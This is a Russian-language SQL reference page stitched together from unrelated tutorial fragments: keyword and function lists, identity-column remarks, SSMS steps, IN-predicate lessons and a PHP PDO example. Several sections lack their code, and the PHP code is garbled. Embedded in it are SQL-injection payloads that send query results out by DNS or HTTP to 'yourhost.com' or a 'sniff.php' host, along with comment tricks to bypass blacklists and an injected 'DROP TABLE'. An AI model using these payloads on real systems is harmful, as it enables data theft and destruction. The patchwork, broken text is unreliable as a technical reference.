Специальные таблицы
-- Родительская таблица
DECLARE @tableName VARCHAR(150) = 'Production.Product'
DECLARE @IDs TABLE (ids int)
INSERT @IDs (ids)
SELECT 316 UNION
SELECT 317 UNION
SELECT 318 UNION
SELECT 319 UNION
SELECT 320
SELECT
OBJECT_NAME(fkc.referenced_object_id) AS 'Parent Table'
, parentcolumns.name AS 'Parent Column'
, OBJECT_NAME(fkc.parent_object_id) AS 'Child Table'
, childcolumns.name AS 'Child Column'
, ' SELECT COUNT(1) as ''RowCount'', ''' + OBJECT_NAME(fkc.parent_object_id)+ ''' as ''ChildTable'' from @ids x
INNER JOIN ' + quotename(schema_name(o2.schema_id)) + '.' + QUOTENAME(OBJECT_NAME(fkc.parent_object_id)) + ' y ON x.ids = y.'+ childcolumns.name + ' UNION'
FROM sys.foreign_key_columns fkc
INNER JOIN sys.columns childcolumns ON fkc.parent_object_id = childcolumns.object_id AND fkc.parent_column_id = childcolumns.column_id -- получить дочерние столбцы
INNER JOIN sys.columns parentcolumns ON fkc.referenced_object_id = parentcolumns.object_id AND fkc.referenced_column_id = parentcolumns.column_id -- получить родительские столбцы
INNER JOIN sys.objects o1 ON fkc.referenced_object_id = o1.object_id -- получить имя родительской схемы
inner JOIN sys.objects o2 on fkc.parent_object_id = o2.object_id -- получить имя дочерней схемы
WHERE fkc.referenced_object_id = OBJECT_ID(@tableName)
SQL Справочник
SQL Ключевые слова
ADD
ADD CONSTRAINT
ALTER
ALTER COLUMN
ALTER TABLE
ALL
AND
ANY
AS
ASC
BACKUP DATABASE
BETWEEN
CASE
CHECK
COLUMN
CONSTRAINT
CREATE
CREATE DATABASE
CREATE INDEX
CREATE OR REPLACE VIEW
CREATE TABLE
CREATE PROCEDURE
CREATE UNIQUE INDEX
CREATE VIEW
DATABASE
DEFAULT
DELETE
DESC
DISTINCT
DROP
DROP COLUMN
DROP CONSTRAINT
DROP DATABASE
DROP DEFAULT
DROP INDEX
DROP TABLE
DROP VIEW
EXEC
EXISTS
FOREIGN KEY
FROM
FULL OUTER JOIN
GROUP BY
HAVING
IN
INDEX
INNER JOIN
INSERT INTO
INSERT INTO SELECT
IS NULL
IS NOT NULL
JOIN
LEFT JOIN
LIKE
LIMIT
NOT
NOT NULL
OR
ORDER BY
OUTER JOIN
PRIMARY KEY
PROCEDURE
RIGHT JOIN
ROWNUM
SELECT
SELECT DISTINCT
SELECT INTO
SELECT TOP
SET
TABLE
TOP
TRUNCATE TABLE
UNION
UNION ALL
UNIQUE
UPDATE
VALUES
VIEW
WHERE
MySQL Функции
Функции строк
ASCII
CHAR_LENGTH
CHARACTER_LENGTH
CONCAT
CONCAT_WS
FIELD
FIND_IN_SET
FORMAT
INSERT
INSTR
LCASE
LEFT
LENGTH
LOCATE
LOWER
LPAD
LTRIM
MID
POSITION
REPEAT
REPLACE
REVERSE
RIGHT
RPAD
RTRIM
SPACE
STRCMP
SUBSTR
SUBSTRING
SUBSTRING_INDEX
TRIM
UCASE
UPPER
Функции чисел
ABS
ACOS
ASIN
ATAN
ATAN2
AVG
CEIL
CEILING
COS
COT
COUNT
DEGREES
DIV
EXP
FLOOR
GREATEST
LEAST
LN
LOG
LOG10
LOG2
MAX
MIN
MOD
PI
POW
POWER
RADIANS
RAND
ROUND
SIGN
SIN
SQRT
SUM
TAN
TRUNCATE
Функции дат
ADDDATE
ADDTIME
CURDATE
CURRENT_DATE
CURRENT_TIME
CURRENT_TIMESTAMP
CURTIME
DATE
DATEDIFF
DATE_ADD
DATE_FORMAT
DATE_SUB
DAY
DAYNAME
DAYOFMONTH
DAYOFWEEK
DAYOFYEAR
EXTRACT
FROM_DAYS
HOUR
LAST_DAY
LOCALTIME
LOCALTIMESTAMP
MAKEDATE
MAKETIME
MICROSECOND
MINUTE
MONTH
MONTHNAME
NOW
PERIOD_ADD
PERIOD_DIFF
QUARTER
SECOND
SEC_TO_TIME
STR_TO_DATE
SUBDATE
SUBTIME
SYSDATE
TIME
TIME_FORMAT
TIME_TO_SEC
TIMEDIFF
TIMESTAMP
TO_DAYS
WEEK
WEEKDAY
WEEKOFYEAR
YEAR
YEARWEEK
Функции расширений
BIN
BINARY
CASE
CAST
COALESCE
CONNECTION_ID
CONV
CONVERT
CURRENT_USER
DATABASE
IF
IFNULL
ISNULL
LAST_INSERT_ID
NULLIF
SESSION_USER
SYSTEM_USER
USER
VERSION
SQL Server функции
Функции строк
ASCII
CHAR
CHARINDEX
CONCAT
Concat with +
CONCAT_WS
DATALENGTH
DIFFERENCE
FORMAT
LEFT
LEN
LOWER
LTRIM
NCHAR
PATINDEX
QUOTENAME
REPLACE
REPLICATE
REVERSE
RIGHT
RTRIM
SOUNDEX
SPACE
STR
STUFF
SUBSTRING
TRANSLATE
TRIM
UNICODE
UPPER
Функции чисел
ABS
ACOS
ASIN
ATAN
ATN2
AVG
CEILING
COUNT
COS
COT
DEGREES
EXP
FLOOR
LOG
LOG10
MAX
MIN
PI
POWER
RADIANS
RAND
ROUND
SIGN
SIN
SQRT
SQUARE
SUM
TAN
Функции дат
CURRENT_TIMESTAMP
DATEADD
DATEDIFF
DATEFROMPARTS
DATENAME
DATEPART
DAY
GETDATE
GETUTCDATE
ISDATE
MONTH
SYSDATETIME
YEAR
Функции расширений
CAST
COALESCE
CONVERT
CURRENT_USER
IIF
ISNULL
ISNUMERIC
NULLIF
SESSION_USER
SESSIONPROPERTY
SYSTEM_USER
USER_NAME
MS Access функции
Функции строк
Asc
Chr
Concat with &
CurDir
Format
InStr
InstrRev
LCase
Left
Len
LTrim
Mid
Replace
Right
RTrim
Space
Split
Str
StrComp
StrConv
StrReverse
Trim
UCase
Функции чисел
Abs
Atn
Avg
Cos
Count
Exp
Fix
Format
Int
Max
Min
Randomize
Rnd
Round
Sgn
Sqr
Sum
Val
Функции дат
Date
DateAdd
DateDiff
DatePart
DateSerial
DateValue
Day
Format
Hour
Minute
Month
MonthName
Now
Second
Time
TimeSerial
TimeValue
Weekday
WeekdayName
Year
Другие функции
CurrentUser
Environ
IsDate
IsNull
IsNumeric
SQL ОператорыSQL Типы данныхSQL Краткий справочник
Модификаторы запроса SELECT
Вы можете использовать следующие модификаторы в запросах .
APPLY
Вызывает указанную функцию для каждой строки, возвращаемой внешним табличным выражением запроса.
Синтаксис:
Пример:
Исключает из результата запроса один или несколько столбцов.
Синтаксис:
Пример:
REPLACE
Определяет одно или несколько . Каждый алиас должен соответствовать имени столбца из запроса . В списке столбцов результата запроса имя столбца, соответствующее алиасу, заменяется выражением в модификаторе .
Этот модификатор не изменяет имена или порядок столбцов. Однако он может изменить значение и тип значения.
Синтаксис:
Пример:
Комбинации модификаторов
Вы можете использовать каждый модификатор отдельно или комбинировать их.
Примеры:
Использование одного и того же модификатора несколько раз.
Использование нескольких модификаторов в одном запросе.
Remarks
Столбцы идентификаторов можно использовать для формирования значений ключей. Свойство идентификаторов столбца гарантирует следующее.
-
Каждое новое значение будет сформировано на основе текущих аргументов seed и increment.
-
Каждое новое значение для определенной транзакции будет отлично от других параллельных транзакций для таблицы.
Свойство идентификаторов столбца не гарантирует следующее.
Уникальность значения — уникальность значения следует обеспечить с помощью ограничения PRIMARY KEY или UNIQUE либо индекса UNIQUE.
Примечание
Azure Synapse Analytics не поддерживает ограничения PRIMARY KEY или UNIQUE либо индекс UNIQUE. Дополнительные сведения см. в статье .
-
Последовательные значения в пределах транзакции ― при вставке транзакцией нескольких строк не гарантируется, что для них будут назначены последовательные значения. Это связано с тем, что в таблице могут выполняться другие параллельные операции вставки. Если значения должны быть последовательными, то транзакция должна использовать монопольную блокировку для таблицы или уровень изоляции SERIALIZABLE.
-
Последовательные значения после перезапуска сервера или других ошибок — SQL Server может сохранять значения идентификаторов в кэше для обеспечения высокой производительности, и некоторые из присвоенных значений могут быть потеряны при сбое базы данных или перезагрузке сервера. Это может вызвать пропуски в значениях идентификатора при вставке. Если пропуски недопустимы, приложение должно использовать собственный механизм для создания значений ключей. Использование генератора последовательностей с параметром NOCACHE может привести к ограничению пропусков в незафиксированных транзакциях.
-
Повторное использование значений — свойства идентификаторов, созданные конкретным свойством идентификатора с заданными аргументами seed и increment, не используются повторно подсистемой. Если определенная инструкция вставки завершается с ошибкой или производится ее откат, использованные значения идентификаторов не будут созданы повторно. Это может привести к появлению пропусков при создании последующих значений идентификаторов.
Эти ограничения были созданы намеренно и предназначены для повышения производительности, поскольку они являются допустимыми во многих типичных ситуациях. Если из-за этих ограничений невозможно использовать значения идентификаторов, рекомендуется создать отдельную таблицу, содержащую текущее значение, управление доступом к которой и назначение чисел будет выполняться приложением.
Если таблица со столбцом идентификаторов опубликована для репликации, этот столбец должен обслуживаться в соответствии с типом репликации. Дополнительные сведения см. в статье Репликация столбцов идентификаторов.
Для каждой таблицы можно создать только один столбец идентификаторов.
В таблицах, оптимизированных для памяти, в качестве начального значения и значения приращения должно быть задано 1,1. Установка для параметров seed или increment значения, отличного от 1, приводит к следующей ошибке: «Использование для параметров seed и increment значений, отличных от 1, не поддерживается в таблицах, оптимизированных для памяти».
Другие примеры инъекций
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
создаёт DNS-запрос к {INJECTION}.yourhost.com
?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = ''+({INJECTION})+'.yourhost.comtest.txt'; EXEC master..xp_dirtree @q
создаёт DNS-запрос к {INJECTION}.yourhost.com
{INJECTION} — ваш запрос.
MySQL:
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat('',({INJECTION}), 'yourhost.com')))
Создаёт NBNS/DNS-запрос к yourhost.com
?vulnerableParam=-99 OR (SELECT ({INJECTION}) INTO OUTFILE 'yourhost.comshareoutput.txt')
Записывает данные в ваш файл{INJECTION} — ваш запрос.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROM DUAL)
Сниффер будет сохранять результаты
?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
Результаты будут сохранены HTTP-логи
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
Вам нужно анализировать трафик DNS-запросов к yourhost.com
?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||’.yourhost.com’,80) FROM DUAL)
Вам нужно анализировать трафик DNS-запросов к yourhost.com{INJECTION} — ваш запрос.
Использование среды SQL Server Management Studio
Создание уникального индекса с помощью конструктора таблиц
-
В обозревателе объектов разверните базу данных, содержащую таблицу, в которой необходимо создать уникальный индекс.
-
Разверните папку Таблицы.
-
Щелкните правой кнопкой мыши таблицу, в которой нужно создать уникальный индекс, и выберите Конструктор.
-
В меню Конструктор таблиц выберите пункт Индексы и ключи.
-
В диалоговом окне Индексы и ключи нажмите Добавить.
-
Выберите новый индекс в текстовом поле Выбранный первичный/уникальный ключ или индекс .
-
В основной сетке в (Общие) выберите Тип , а затем выберите в списке Индекс .
-
Выберите Столбцы и затем нажмите кнопку с многоточием (…) .
-
В диалоговом окне Столбцы индекса в поле Имя столбца выберите столбцы, которые необходимо индексировать. Выбрать можно до 16 столбцов. Для оптимальной производительности следует выбирать только один или два столбца на индекс. Для каждого выбранного столбца укажите, будут ли значения данного столбца располагаться в индексе в возрастающем или убывающем порядке.
-
После выбора всех столбцов для индекса щелкните ОК.
-
В сетке в (Общие) выберите Уникальный , а затем выберите в списке Да .
-
Дополнительно. В основной сетке в разделе Конструктор таблиц выберите Пропустить повторяющиеся ключи , а затем выберите в списке значение Да . Сделайте это, если необходимо пропустить попытки добавления данных, создающих повторяющиеся ключи в уникальном индексе.
-
Щелкните Закрыть.
-
В меню Файл выберите Сохранитьимя_таблицы.
Создание уникального индекса в обозревателе объектов
-
В обозревателе объектов разверните базу данных, содержащую таблицу, в которой необходимо создать уникальный индекс.
-
Разверните папку Таблицы.
-
Разверните таблицу, для которой необходимо создать уникальный индекс.
-
Щелкните правой кнопкой мыши папку Индексы, выберите Создать индекс и Некластеризованный индекс…
-
В диалоговом окне Создание индекса на странице Общие введите имя нового индекса в поле Имя индекса .
-
Установите флажок Уникальный .
-
В разделе Ключевые столбцы индекса щелкните Добавить… .
-
В диалоговом окне Выбор столбцов изимя_таблицы установите флажки для столбцов таблицы, добавляемых к уникальному индексу.
-
Нажмите кнопку ОК.
-
В диалоговом окне Создание индекса нажмите кнопку ОК.
Сброс настроек конструктора запросов
$this->db->reset_query()
Сброс Построителя Запросов позволяет начать с запроса без его первичного выполнения. Для этого используется метод $this->db->get() или $this->db->insert(). Как и методы выполняющие запрос, это будет НЕ сброс данных кешированных с помощью .
Это полезно в ситуациях, где вы используете Построитель запросов, чтобы создать SQL (ex. $this->db->get_compiled_select()) а затем выбрать запрос для выполнения:
// Обратите внимание, что второй параметр get_compiled_select method установлен в FALSE
$sql = $this->db->select(array(‘field1′,’field2’))
->where(‘field3’,5)
->get_compiled_select(‘mytable’, FALSE);
// …
// Что-то делаем с SQL кодом… например добавить в скрипт cron для
// выполнения позже или еще что-то…
// …
$data = $this->db->get()->result_array();
// Будет выполнять и возвращать массив результатов следующего запроса:
// SELECT field1, field1 from mytable where field3 = 5;
SQL Учебник
SQL ГлавнаяSQL ВведениеSQL СинтаксисSQL SELECTSQL SELECT DISTINCTSQL WHERESQL AND, OR, NOTSQL ORDER BYSQL INSERT INTOSQL Значение NullSQL Инструкция UPDATESQL Инструкция DELETESQL SELECT TOPSQL MIN() и MAX()SQL COUNT(), AVG() и …SQL Оператор LIKESQL ПодстановочныйSQL Оператор INSQL Оператор BETWEENSQL ПсевдонимыSQL JOINSQL JOIN ВнутриSQL JOIN СлеваSQL JOIN СправаSQL JOIN ПолноеSQL JOIN СамSQL Оператор UNIONSQL GROUP BYSQL HAVINGSQL Оператор ExistsSQL Операторы Any, AllSQL SELECT INTOSQL INSERT INTO SELECTSQL Инструкция CASESQL Функции NULLSQL ХранимаяSQL Комментарии
Демо база данных
Ниже приведен выбор из таблицы «Products» в образце базы данных Northwind:
| ProductID | ProductName | SupplierID | CategoryID | Unit | Price |
|---|---|---|---|---|---|
| 1 | Chais | 1 | 1 | 10 boxes x 20 bags | 18 |
| 2 | Chang | 1 | 1 | 24 — 12 oz bottles | 19 |
| 3 | Aniseed Syrup | 1 | 2 | 12 — 550 ml bottles | 10 |
| 4 | Chef Anton’s Cajun Seasoning | 2 | 2 | 48 — 6 oz jars | 22 |
| 5 | Chef Anton’s Gumbo Mix | 2 | 2 | 36 boxes | 21.35 |
И выбор из таблицы «Suppliers»:
| SupplierID | SupplierName | ContactName | Address | City | PostalCode | Country |
|---|---|---|---|---|---|---|
| 1 | Exotic Liquid | Charlotte Cooper | 49 Gilbert St. | London | EC1 4SD | UK |
| 2 | New Orleans Cajun Delights | Shelley Burke | P.O. Box 78934 | New Orleans | 70117 | USA |
| 3 | Grandma Kelly’s Homestead | Regina Murphy | 707 Oxford Rd. | Ann Arbor | 48104 | USA |
| 4 | Tokyo Traders | Yoshi Nagase | 9-8 Sekimai Musashino-shi | Tokyo | 100 | Japan |
Предикат SQL IN и набор значений, возвращаемых подзапросом
Часто требуется выбрать строки, значения столбцов в которых соответствуют большому набору данных и этот
набор не всегда известен специалисту по работе с базой данных. Тогда составляются сложные запросы, в
которых в скобках после предиката IN пишется подзапрос (вложенный запрос). По набору значений,
возвращаемому этим подзапросом и происходит отбор строк в основном запросе. Иногда такие сложные запросы
могут иметь несколько уровней вложения. Синтаксис запроса с подзапросами следующий:
SELECT ИМЕНА_СТОЛБЦОВ FROM ИМЯ_ТАБЛИЦЫ
WHERE ИМЯ_СТОЛБЦА
IN (SELECT ИМЕНА_СТОЛБЦОВ FROM ИМЯ_ТАБЛИЦЫ )
Далее будем работать с базой данных библиотеки. Скрипт для создания этой базы данных, её таблиц и заполения таблиц данными —
в файле по этой ссылке.
Пример 4. Итак, есть база данных библиотеки и её таблица «Книга в
пользовании» (Bookinuse). Столбец Customer_ID содержит идентификационный номер пользователя.
| Author | Title | Pubyear | Inv_No | Customer_ID |
| Толстой | Война и мир | 2005 | 28 | 65 |
| Чехов | Вишневый сад | 2000 | 17 | 31 |
| Чехов | Избранные рассказы | 2011 | 19 | 120 |
| Чехов | Вишневый сад | 1991 | 5 | 65 |
| Ильф и Петров | Двенадцать стульев | 1985 | 3 | 31 |
| Маяковский | Поэмы | 1983 | 2 | 120 |
| Пастернак | Доктор Живаго | 2006 | 69 | 120 |
| Толстой | Воскресенье | 2006 | 77 | 47 |
| Толстой | Анна Каренина | 1989 | 7 | 205 |
| Пушкин | Капитанская дочка | 2004 | 25 | 47 |
| Гоголь | Пьесы | 2007 | 81 | 47 |
| Чехов | Избранные рассказы | 1987 | 4 | 205 |
| Пушкин | Сочинения, т.1 | 1984 | 6 | 47 |
| Пастернак | Избранное | 2000 | 137 | 18 |
| Пушкин | Сочинения, т.2 | 1984 | 8 | 205 |
| NULL | Наука и жизнь 9 2018 | 2019 | 127 | 18 |
| Чехов | Ранние рассказы | 2001 | 171 | 31 |
Определить ID пользователей, которым выданы книги
авторов, книги которых выданы пользователю с ID 31. Запрос будет следующим:
SELECT DISTINCT Customer_ID
FROM Bookinuse WHERE Author IN (SELECT
Author FROM Bookinuse
WHERE Customer_ID=31)
Результатом выполнения запроса будет следующая таблица:
| Customer_ID |
| 31 |
| 120 |
| 65 |
| 205 |
Внутренний запрос (после IN) выбирает авторов: Чехов; Ильф и Петров. Внешний запрос
выбирает всех пользователей, которым выданы книги этих авторов. Видим, что, в отличие от предиката EXISTS,
предикат IN предваряется именем столбца, в данном случае — Author.
Примеры запросов к базе данных «Библиотека» есть также в уроках по оператору GROUP BY,
предикату EXISTS и функциям
CONCAT, COALESCE.
В следующих примерах работаем с базой данных «Театр». Таблица Play содержит данные о постановках. Таблица Team —
о ролях актёров. Таблица Actor — об актёрах. Таблица Director — о режиссёрах. Поля таблиц, первичные
и внешние ключи можно увидеть на рисунке ниже (для увеличения нажать левой кнопкой мыши).
Пример 5. Вывести актёрский состав спектакля «War of the Roses».
Пишем следующий запрос с двумя подзапросами:
SELECT FName, LName
FROM ACTOR WHERE Actor_ID IN (SELECT
Actor_ID FROM Team
WHERE Play_ID=(SELECT
Play_ID FROM Play
WHERE Name=’War of the Roses’))
Второй по уровню вложенности запрос возвращает идентификаторы актёров. Они и
принимаются предикатом IN и по этому набору происходит отбор строк во внешнем запросе.
Написать запросы с предикатом IN самостоятельно, а затем посмотреть решения
Пример 6. Вывести список актёров, которые не разу не были
утверждены на главную роль. В таблице team данные о главных ролях содержатся в столбце mainteam.
Если роль — главная, то в соответствующей строке отмечено ‘Y’.
Пример 7. Вывести список актеров, которые играли во всех
спектаклях WilliamShakespeare. Данные об авторах содержается в таблице play в столбце author.
Пишем вместе ещё один запрос с предикатом IN
Пример 8. Вывести список актёров, которые не задействованы
в постановках последних 3 лет.
Пишем следующий запрос с двумя подзапросами:
SELECT FName, LName
FROM ACTOR WHERE Actor_ID NOT IN (SELECT
Actor_ID FROM Team
WHERE Play_ID IN (SELECT
Play_ID FROM Play
WHERE Premieredate > (CURDATE() — 3 YEAR)))
Предикат IN используется два раза. Первый раз (причём с отрицанием NOT) — со вторым по уровню вложенности
запросом, который возвращает идентификаторы актёров. Второй раз — с третьим по уровню вложенности запросом,
котрый возвращает идентификаторы постановок.
Поделиться с друзьями
| Назад | Листать | Вперёд>>> |
Блочные комментарии
С их помощью можно игнорировать часть запроса, заменять пробелы, обходить чёрные списки, определять версию БД.
Синтаксис:
/*Комментарий*/ (SM): DROP/*комментарий*/sampletable DR/**/OP/*обходим_чёрный_список*/sampletable SELECT/*замена_пробела*/password/**/FROM/**/Members /*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
Это специальный синтаксис комментариев для MySQL. Он позволяет обнаружить версию MySQL. Такой комментарий сработает только в MySQL
Примеры:
ID: 10; DROP TABLE members /*
Игнорируем оставшуюся часть запроса, также как строчным комментарием.
ID: /*!32302 10*/
вы получите такой же ответ, как и при ID=10, если MySQL версии выше 3.23.02
ID: /*!32302 1/0, */
Сгенерированный запрос: SELECT /*!32302 1/0, */ 1 FROM tablename
Возникнет ошибка деления на 0, если на сервере стоит MySQL версии выше 3.23.02
Использование функции FIRST_VALUE
Эта оконная функция возвращает первое из упорядоченного набора значений. Теперь мы можем сделать все без подзапросов, выделив в окне набор рейсов для компании из текущей строки запроса с помощью предложения PARTITION BY и упорядочив его, как и в предыдущем примере, случайным образом в предложении ORDER BY:
Консоль
Выполнить
- SELECT DISTINCT id_comp,
- FIRST_VALUE(trip_no) OVER(PARTITION BY id_comp ORDER BY NEWID()) trip_no
- FROM trip
- ORDER BY id_comp;
|
Ключевое слово DISTINCT нужно здесь для того, чтобы не повторять одну и ту же компанию для каждого выполняемого ею рейса.
Вывод данных из таблицы MySQL с помощью PHP (PDO)
Иногда вывод большого количества данных в терминале может быть неудобен или даже не читаем, в таком случае будет лучше вывести данные таблицы на веб-странице с помощью PHP, используя модуль PDO.
Создадим файл c HTML-таблицей, ячейки которой будут заполнятся данными из таблицы books.
<!DOCTYPE html>
<html>
<head>
<meta charset=»utf-8″>
<title>SELECT</title>
<style>
td:nth-child(5),td:nth-child(6){text-align:center;}
table{border-spacing: 0;border-collapse: collapse;}
td, th{padding: 10px;border: 1px solid black;}
</style>
</head>
<body>
<?php
$db_server = «localhost»;
$db_user = «root»;
$db_password = «MySafePass4!»;
$db_name = «Bookstore»;
try {
// Открываем соединение, указываем адрес сервера, имя бд, имя пользователя и пароль,
// также сообщаем серверу в какой кодировке должны вводится данные в таблицу бд.
$db = new PDO(«mysql:host=$db_server;dbname=$db_name», $db_user, $db_password,array(PDO::MYSQL_ATTR_INIT_COMMAND=>»SET NAMES utf8″));
// Устанавливаем атрибут сообщений об ошибках (выбрасывать исключения)
$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// Запрос на вывод записей из таблицы
$sql = «SELECT id, title, author, price, discount, amount FROM books»;
// Подготовка запроса
$statement = $db->prepare($sql);
// Выполняем запрос
$statement->execute();
// Получаем массив строк
$result_array = $statement->fetchAll();
echo «<table><tr><th>ID</th><th>Title</th><th>Author</th><th>Price</th><th>Discount</th><th>Amount</th></tr>»;
foreach ($result_array as $result_row) {
echo «<tr>»;
echo «<td>» . $result_row . «</td>»;
echo «<td>» . $result_row . «</td>»;
echo «<td>» . $result_row . «</td>»;
echo «<td>» . $result_row . «</td>»;
echo «<td>» . $result_row . «</td>»;
echo «<td>» . $result_row . «</td>»;
echo «</tr>»;
}
echo «</table>»;
}
catch(PDOException $e) {
echo «Ошибка при создании записи в базе данных: » . $e->getMessage();
}
// Закрываем соединение
$db = null;
?>
</body>
</html>
|
1 |
<!DOCTYPE html> <html> <head> <meta charset=»UTF-8″> <title>SELECT<title> <style> td:nth-child(5),td:nth-child(6){text-aligncenter;} table{border-spacing;border-collapsecollapse;} td, th{padding10px;border1pxsolidblack;} </style> <head> <body> <?php $db_server=»localhost»; $db_user=»root»; $db_password=»MySafePass4!»; $db_name=»Bookstore»; try{ // Открываем соединение, указываем адрес сервера, имя бд, имя пользователя и пароль, // также сообщаем серверу в какой кодировке должны вводится данные в таблицу бд. $db=newPDO(«mysql:host=$db_server;dbname=$db_name»,$db_user,$db_password,array(PDO::MYSQL_ATTR_INIT_COMMAND=>»SET NAMES utf8″)); // Устанавливаем атрибут сообщений об ошибках (выбрасывать исключения) $db->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION); // Запрос на вывод записей из таблицы $sql=»SELECT id, title, author, price, discount, amount FROM books»; // Подготовка запроса $statement=$db->prepare($sql); // Выполняем запрос $statement->execute(); // Получаем массив строк $result_array=$statement->fetchAll(); echo»<table><tr><th>ID</th><th>Title</th><th>Author</th><th>Price</th><th>Discount</th><th>Amount</th></tr>»; foreach($result_arrayas$result_row){ echo»<tr>»; echo»<td>».$result_row»id».»</td>»; echo»<td>».$result_row»title».»</td>»; echo»<td>».$result_row»author».»</td>»; echo»<td>».$result_row»price».»</td>»; echo»<td>».$result_row»discount».»</td>»; echo»<td>».$result_row»amount».»</td>»; echo»</tr>»; } echo»</table>»; } catch(PDOException$e){ echo»Ошибка при создании записи в базе данных: «.$e->getMessage(); } // Закрываем соединение $db=null; ?> <body> <html> |
Результат заполнения HTML-таблицы данными из таблицы books.
Результат вывода данных из таблицы MySQL при помощи PHP
Вывод данных из нескольких таблиц
Если у вас есть несколько связанных таблиц, то с помощью вы можете выводить их данные составляя из них одну таблицу.
Например мы имеем таблицу с книгами — books и их заказами — orders.
Выведем колонки id, book_id и status для таблицы orders.
Имея идентификаторы записей таблицы books в колонке book_id, мы можем соотнести их с колонкой id в таблице books с помощью команды . В результате мы можем узнать статус заказа для каждой книги.
Выведем колонки title, author, price из таблицы books и колонку status из таблицы orders.
Вывести колонки с одинаковыми именами, например id, в данном случае не получится, т.к. они имеются в обоих таблицах.
